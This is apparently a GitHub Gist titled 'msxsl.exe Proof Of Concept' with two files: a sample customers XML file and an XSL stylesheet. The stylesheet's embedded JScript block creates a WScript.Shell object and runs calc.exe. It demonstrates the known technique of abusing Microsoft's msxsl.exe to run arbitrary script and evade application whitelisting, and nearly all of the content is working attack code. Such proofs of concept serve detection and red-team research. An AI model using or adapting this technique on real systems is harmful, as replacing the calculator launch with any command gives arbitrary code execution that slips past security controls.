Created
August 18, 2017 13:51
-
-
Save rkornmeyer/4e320cf477ecf953cee31f5c5828764d to your computer and use it in GitHub Desktop.
msxsl.exe Proof Of Concept
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0"?> | |
<?xml-stylesheet type="text/xsl" href="script.xsl" ?> | |
<customers> | |
<customer> | |
<name>John Smith</name> | |
<address>123 Elm St.</address> | |
<phone>(123) 456-7890</phone> | |
</customer> | |
<customer> | |
<name>Mary Jones</name> | |
<address>456 Oak Ave.</address> | |
<phone>(156) 789-0123</phone> | |
</customer> | |
</customers> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version='1.0'?> | |
<xsl:stylesheet version="1.0" | |
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
xmlns:msxsl="urn:schemas-microsoft-com:xslt" | |
xmlns:user="http://mycompany.com/mynamespace"> | |
<msxsl:script language="JScript" implements-prefix="user"> | |
function xml(nodelist) { | |
var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); | |
return nodelist.nextNode().xml; | |
} | |
</msxsl:script> | |
<xsl:template match="/"> | |
<xsl:value-of select="user:xml(.)"/> | |
</xsl:template> | |
</xsl:stylesheet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment